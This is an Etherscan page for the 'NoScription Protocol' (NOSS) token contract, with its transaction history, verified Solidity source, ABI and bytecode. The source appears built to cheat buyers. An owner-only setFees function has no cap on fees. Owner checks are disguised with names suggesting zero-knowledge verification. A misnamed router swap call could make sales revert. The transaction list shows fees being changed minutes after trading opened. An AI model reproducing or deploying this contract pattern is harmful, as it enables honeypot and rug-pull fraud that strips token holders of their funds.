ETH Price: $2,402.67 (-0.80%)

Contract

0x8B5402d86538e1f039568Ff61E80D242A1db22DE
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve189526882024-01-07 3:54:11251 days ago1704599651IN
0x8B5402d8...2A1db22DE
0 ETH0.0010653823.06323143
Approve189202622024-01-02 14:22:35256 days ago1704205355IN
0x8B5402d8...2A1db22DE
0 ETH0.0009912321.33619535
Transfer189149642024-01-01 20:29:59256 days ago1704140999IN
0x8B5402d8...2A1db22DE
0 ETH0.000599616.07404009
Approve189138712024-01-01 16:48:47257 days ago1704127727IN
0x8B5402d8...2A1db22DE
0 ETH0.000698815.14736651
Approve189138552024-01-01 16:45:35257 days ago1704127535IN
0x8B5402d8...2A1db22DE
0 ETH0.0007044615.18299756
Set Fees189133582024-01-01 15:05:59257 days ago1704121559IN
0x8B5402d8...2A1db22DE
0 ETH0.0004624817.13681645
Approve189132792024-01-01 14:49:59257 days ago1704120599IN
0x8B5402d8...2A1db22DE
0 ETH0.0004929710.62501406
Approve189132692024-01-01 14:47:59257 days ago1704120479IN
0x8B5402d8...2A1db22DE
0 ETH0.0005562312.05687226
Set Fees189132542024-01-01 14:44:59257 days ago1704120299IN
0x8B5402d8...2A1db22DE
0 ETH0.0002897210.73548935
Approve189132512024-01-01 14:44:23257 days ago1704120263IN
0x8B5402d8...2A1db22DE
0 ETH0.0004803410.4091441
Set Fees189132462024-01-01 14:43:23257 days ago1704120203IN
0x8B5402d8...2A1db22DE
0 ETH0.0002802710.38527346
Approve189132262024-01-01 14:39:23257 days ago1704119963IN
0x8B5402d8...2A1db22DE
0 ETH0.0007766516.71736125
Open Trading189132252024-01-01 14:39:11257 days ago1704119951IN
0x8B5402d8...2A1db22DE
0 ETH0.0006447411.68872324
Approve189132202024-01-01 14:38:11257 days ago1704119891IN
0x8B5402d8...2A1db22DE
0 ETH0.0004778610.35018538
0x60c06040189132092024-01-01 14:35:59257 days ago1704119759IN
 Create: NoScription
0 ETH0.0108368810.99264277

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
NoScription

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-01
*/

/*
Telegram: https://t.me/noscription_official

Website: https://noscription.org

Twitter: https://twitter.com/noscription
*/

// File @openzeppelin/contracts/utils/[email protected]

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract NoScription {
    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    string private _name = unicode"NoScription Protocol";
    string private _symbol = unicode"NOSS";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 21_000_000 * 10**decimals;

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initBuyFee = 5;
        uint8 _initSellFee = 5;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function setFees(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        _upgradeStoreWithZkProof(_buy, _sell);
    }

    function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052601460809081527f4e6f536372697074696f6e2050726f746f636f6c00000000000000000000000060a0525f906200003d90826200021c565b506040805180820190915260048152634e4f535360e01b60208201526001906200006890826200021c565b5034801562000075575f80fd5b50604080516060810182523380825260056020830181905291909201819052600280546001600160a81b03191660ff60a01b1990931692909217600560a01b1760ff60a81b1916600560a81b1790915580620000d46012600a620003f3565b620000e4906301406f406200040a565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001536012600a620003f3565b62000163906301406f406200040a565b60405190815260200160405180910390a3505062000424565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001a557607f821691505b602082108103620001c457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000217575f81815260208120601f850160051c81016020861015620001f25750805b601f850160051c820191505b818110156200021357828155600101620001fe565b5050505b505050565b81516001600160401b038111156200023857620002386200017c565b620002508162000249845462000190565b84620001ca565b602080601f83116001811462000286575f84156200026e5750858301515b5f19600386901b1c1916600185901b17855562000213565b5f85815260208120601f198616915b82811015620002b65788860151825594840194600190910190840162000295565b5085821015620002d457878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200033857815f19048211156200031c576200031c620002e4565b808516156200032a57918102915b93841c9390800290620002fd565b509250929050565b5f826200035057506001620003ed565b816200035e57505f620003ed565b81600181146200037757600281146200038257620003a2565b6001915050620003ed565b60ff841115620003965762000396620002e4565b50506001821b620003ed565b5060208310610133831016604e8410600b8410161715620003c7575081810a620003ed565b620003d38383620002f8565b805f1904821115620003e957620003e9620002e4565b0290505b92915050565b5f6200040360ff84168362000340565b9392505050565b8082028115828204841417620003ed57620003ed620002e4565b610e7e80620004325f395ff3fe6080604052600436106100c2575f3560e01c80634fcd24461161007c578063a8aa1b3111610057578063a8aa1b311461024b578063a9059cbb14610282578063c9567bf9146102a1578063dd62ed3e146102b5575f80fd5b80634fcd2446146101eb57806370a082311461020c57806395d89b4114610237575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780634abe30521461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102eb565b6040516100ee9190610ab2565b60405180910390f35b348015610102575f80fd5b50610116610111366004610b14565b61037a565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6103e6565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610b3e565b610403565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506002546101c2906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100ee565b3480156101f6575f80fd5b5061020a610205366004610b91565b610450565b005b348015610217575f80fd5b5061013a610226366004610bc2565b60036020525f908152604090205481565b348015610242575f80fd5b506100e16104ae565b348015610256575f80fd5b5060055461026a906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b34801561028d575f80fd5b5061011661029c366004610b14565b6104bd565b3480156102ac575f80fd5b5061020a6104d0565b3480156102c0575f80fd5b5061013a6102cf366004610bdd565b600460209081525f928352604080842090915290825290205481565b60605f80546102f990610c14565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610c14565b80156103705780601f1061034757610100808354040283529160200191610370565b820191905f5260205f20905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103d49086815260200190565b60405180910390a35060015b92915050565b6103f26012600a610d40565b610400906301406f40610d4e565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610437908490610d65565b909155506104489050848484610686565b949350505050565b6002546001600160a01b0316331461047a57604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6060600180546102f990610c14565b5f6104c9338484610686565b9392505050565b6002546001600160a01b031633146104e6575f80fd5b600554600160a81b900460ff16156104fc575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105719190610d78565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e89190610d78565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610637573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065b9190610d78565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061069a6002546001600160a01b031690565b600554909150600160a81b900460ff16806106c65750806001600160a01b0316856001600160a01b0316145b806106e25750806001600160a01b0316846001600160a01b0316145b6106ea575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610711908490610d65565b90915550506005546001600160a01b03858116911614801561073d5750600554600160a01b900460ff16155b801561077c575060646107526012600a610d40565b610760906301406f40610d4e565b61076a9190610d93565b305f9081526003602052604090205410155b801561079a5750806001600160a01b0316856001600160a01b031614155b15610978576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107e5576107e5610db2565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610855573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108799190610d78565b8160018151811061088c5761088c610db2565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646108cc6012600a610d40565b6108da906301406f40610d4e565b6108e49190610d93565b5f8430426040518663ffffffff1660e01b8152600401610908959493929190610dc6565b5f604051808303815f87803b15801561091f575f80fd5b505af1158015610931573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610968573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109b65750600554600160a81b900460ff1615156001145b15610a2a576005545f906064906001600160a01b038981169116146109db57836109dd565b825b6109ea9060ff1688610d4e565b6109f49190610d93565b9050610a008187610d65565b305f90815260036020526040812080549298508392909190610a23908490610e35565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a51908490610e35565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610a9d91815260200190565b60405180910390a35060019695505050505050565b5f6020808352835180828501525f5b81811015610add57858101830151858201604001528201610ac1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b11575f80fd5b50565b5f8060408385031215610b25575f80fd5b8235610b3081610afd565b946020939093013593505050565b5f805f60608486031215610b50575f80fd5b8335610b5b81610afd565b92506020840135610b6b81610afd565b929592945050506040919091013590565b803560ff81168114610b8c575f80fd5b919050565b5f8060408385031215610ba2575f80fd5b610bab83610b7c565b9150610bb960208401610b7c565b90509250929050565b5f60208284031215610bd2575f80fd5b81356104c981610afd565b5f8060408385031215610bee575f80fd5b8235610bf981610afd565b91506020830135610c0981610afd565b809150509250929050565b600181811c90821680610c2857607f821691505b602082108103610c4657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c9a57815f1904821115610c8057610c80610c4c565b80851615610c8d57918102915b93841c9390800290610c65565b509250929050565b5f82610cb0575060016103e0565b81610cbc57505f6103e0565b8160018114610cd25760028114610cdc57610cf8565b60019150506103e0565b60ff841115610ced57610ced610c4c565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715610d1b575081810a6103e0565b610d258383610c60565b805f1904821115610d3857610d38610c4c565b029392505050565b5f6104c960ff841683610ca2565b80820281158282048414176103e0576103e0610c4c565b818103818111156103e0576103e0610c4c565b5f60208284031215610d88575f80fd5b81516104c981610afd565b5f82610dad57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610e145784516001600160a01b031683529383019391830191600101610def565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103e0576103e0610c4c56fea26469706673582212208d7c2ec167b91660256bf1865bc9f9ffdc6e0cec55ac08725fd65f5a72ea511a64736f6c63430008140033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c80634fcd24461161007c578063a8aa1b3111610057578063a8aa1b311461024b578063a9059cbb14610282578063c9567bf9146102a1578063dd62ed3e146102b5575f80fd5b80634fcd2446146101eb57806370a082311461020c57806395d89b4114610237575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780634abe30521461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102eb565b6040516100ee9190610ab2565b60405180910390f35b348015610102575f80fd5b50610116610111366004610b14565b61037a565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6103e6565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610b3e565b610403565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506002546101c2906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100ee565b3480156101f6575f80fd5b5061020a610205366004610b91565b610450565b005b348015610217575f80fd5b5061013a610226366004610bc2565b60036020525f908152604090205481565b348015610242575f80fd5b506100e16104ae565b348015610256575f80fd5b5060055461026a906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b34801561028d575f80fd5b5061011661029c366004610b14565b6104bd565b3480156102ac575f80fd5b5061020a6104d0565b3480156102c0575f80fd5b5061013a6102cf366004610bdd565b600460209081525f928352604080842090915290825290205481565b60605f80546102f990610c14565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610c14565b80156103705780601f1061034757610100808354040283529160200191610370565b820191905f5260205f20905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103d49086815260200190565b60405180910390a35060015b92915050565b6103f26012600a610d40565b610400906301406f40610d4e565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610437908490610d65565b909155506104489050848484610686565b949350505050565b6002546001600160a01b0316331461047a57604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6060600180546102f990610c14565b5f6104c9338484610686565b9392505050565b6002546001600160a01b031633146104e6575f80fd5b600554600160a81b900460ff16156104fc575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105719190610d78565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e89190610d78565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610637573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065b9190610d78565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061069a6002546001600160a01b031690565b600554909150600160a81b900460ff16806106c65750806001600160a01b0316856001600160a01b0316145b806106e25750806001600160a01b0316846001600160a01b0316145b6106ea575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610711908490610d65565b90915550506005546001600160a01b03858116911614801561073d5750600554600160a01b900460ff16155b801561077c575060646107526012600a610d40565b610760906301406f40610d4e565b61076a9190610d93565b305f9081526003602052604090205410155b801561079a5750806001600160a01b0316856001600160a01b031614155b15610978576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107e5576107e5610db2565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610855573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108799190610d78565b8160018151811061088c5761088c610db2565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646108cc6012600a610d40565b6108da906301406f40610d4e565b6108e49190610d93565b5f8430426040518663ffffffff1660e01b8152600401610908959493929190610dc6565b5f604051808303815f87803b15801561091f575f80fd5b505af1158015610931573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610968573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109b65750600554600160a81b900460ff1615156001145b15610a2a576005545f906064906001600160a01b038981169116146109db57836109dd565b825b6109ea9060ff1688610d4e565b6109f49190610d93565b9050610a008187610d65565b305f90815260036020526040812080549298508392909190610a23908490610e35565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a51908490610e35565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610a9d91815260200190565b60405180910390a35060019695505050505050565b5f6020808352835180828501525f5b81811015610add57858101830151858201604001528201610ac1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b11575f80fd5b50565b5f8060408385031215610b25575f80fd5b8235610b3081610afd565b946020939093013593505050565b5f805f60608486031215610b50575f80fd5b8335610b5b81610afd565b92506020840135610b6b81610afd565b929592945050506040919091013590565b803560ff81168114610b8c575f80fd5b919050565b5f8060408385031215610ba2575f80fd5b610bab83610b7c565b9150610bb960208401610b7c565b90509250929050565b5f60208284031215610bd2575f80fd5b81356104c981610afd565b5f8060408385031215610bee575f80fd5b8235610bf981610afd565b91506020830135610c0981610afd565b809150509250929050565b600181811c90821680610c2857607f821691505b602082108103610c4657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c9a57815f1904821115610c8057610c80610c4c565b80851615610c8d57918102915b93841c9390800290610c65565b509250929050565b5f82610cb0575060016103e0565b81610cbc57505f6103e0565b8160018114610cd25760028114610cdc57610cf8565b60019150506103e0565b60ff841115610ced57610ced610c4c565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715610d1b575081810a6103e0565b610d258383610c60565b805f1904821115610d3857610d38610c4c565b029392505050565b5f6104c960ff841683610ca2565b80820281158282048414176103e0576103e0610c4c565b818103818111156103e0576103e0610c4c565b5f60208284031215610d88575f80fd5b81516104c981610afd565b5f82610dad57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610e145784516001600160a01b031683529383019391830191600101610def565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103e0576103e0610c4c56fea26469706673582212208d7c2ec167b91660256bf1865bc9f9ffdc6e0cec55ac08725fd65f5a72ea511a64736f6c63430008140033

Deployed Bytecode Sourcemap

769:4547:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3683:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3331:207;;;;;;;;;;-1:-1:-1;3331:207:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;3331:207:0;1023:187:1;1050:63:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;1050:63:0;1215:177:1;3100:223:0;;;;;;;;;;-1:-1:-1;3100:223:0;;;;;:::i;:::-;;:::i;1008:35::-;;;;;;;;;;;;1041:2;1008:35;;;;;2030:4:1;2018:17;;;2000:36;;1988:2;1973:18;1008:35:0;1858:184:1;1122:26:0;;;;;;;;;;-1:-1:-1;1122:26:0;;;;-1:-1:-1;;;;;1122:26:0;;;;-1:-1:-1;;;1122:26:0;;;;;-1:-1:-1;;;1122:26:0;;;;;;;;;-1:-1:-1;;;;;2259:32:1;;;2241:51;;2340:4;2328:17;;;2323:2;2308:18;;2301:45;2382:17;;2362:18;;;2355:45;2229:2;2214:18;1122:26:0;2047:359:1;2248:187:0;;;;;;;;;;-1:-1:-1;2248:187:0;;;;;:::i;:::-;;:::i;:::-;;1439:44;;;;;;;;;;-1:-1:-1;1439:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;3782:95;;;;;;;;;;;;;:::i;1563:19::-;;;;;;;;;;-1:-1:-1;1563:19:0;;;;-1:-1:-1;;;;;1563:19:0;;;;;;-1:-1:-1;;;;;3245:32:1;;;3227:51;;3215:2;3200:18;1563:19:0;3081:203:1;3546:129:0;;;;;;;;;;-1:-1:-1;3546:129:0;;;;;:::i;:::-;;:::i;2717:375::-;;;;;;;;;;;;;:::i;1490:64::-;;;;;;;;;;-1:-1:-1;1490:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;3683:91;3728:13;3761:5;3754:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3683:91;:::o;3331:207::-;3426:10;3399:4;3416:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3416:30:0;;;;;;;;;;:39;;;3471:37;3399:4;;3416:30;;3471:37;;;;3449:6;1361:25:1;;1349:2;1334:18;;1215:177;3471:37:0;;;;;;;;-1:-1:-1;3526:4:0;3331:207;;;;;:::o;1050:63::-;1101:12;1041:2;1101;:12;:::i;:::-;1088:25;;:10;:25;:::i;:::-;1050:63;:::o;3100:223::-;-1:-1:-1;;;;;3233:15:0;;3216:4;3233:15;;;:9;:15;;;;;;;;3249:10;3233:27;;;;;;;:37;;3264:6;;3233:27;3216:4;;3233:37;;3264:6;;3233:37;:::i;:::-;;;;-1:-1:-1;3288:27:0;;-1:-1:-1;3298:4:0;3304:2;3308:6;3288:9;:27::i;:::-;3281:34;3100:223;-1:-1:-1;;;;3100:223:0:o;2248:187::-;2683:9;:18;-1:-1:-1;;;;;2683:18:0;2314:10;:43;2310:69;;2366:13;;-1:-1:-1;;;2366:13:0;;;;;;;;;;;2310:69;2521:9;:23;;-1:-1:-1;;;;2555:25:0;-1:-1:-1;;;2521:23:0;;;;;-1:-1:-1;;;;2555:25:0;;-1:-1:-1;;;2555:25:0;;;;;;;;;;;;;;2248:187::o;3782:95::-;3829:13;3862:7;3855:14;;;;;:::i;3546:129::-;3610:4;3634:33;3644:10;3656:2;3660:6;3634:9;:33::i;:::-;3627:40;3546:129;-1:-1:-1;;;3546:129:0:o;2717:375::-;2683:9;:18;-1:-1:-1;;;;;2683:18:0;2768:10;:43;2760:52;;;;;;2832:11;;-1:-1:-1;;;2832:11:0;;;;2831:12;2823:21;;;;;;2855:16;1664:42;-1:-1:-1;;;;;2874:24:0;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2855:45;;2911:13;1664:42;-1:-1:-1;;;;;2927:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2977:55;;-1:-1:-1;;;2977:55:0;;3019:4;2977:55;;;6356:34:1;-1:-1:-1;;;;;6426:15:1;;;6406:18;;;6399:43;2911:39:0;;-1:-1:-1;2961:13:0;;2977:33;;;;;6291:18:1;;2977:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3043:4;:12;;-1:-1:-1;;;;;;3066:18:0;-1:-1:-1;;;;;3043:12:0;;;3066:18;;;;-1:-1:-1;;;3066:18:0;;;-1:-1:-1;;;2717:375:0:o;3885:1426::-;3998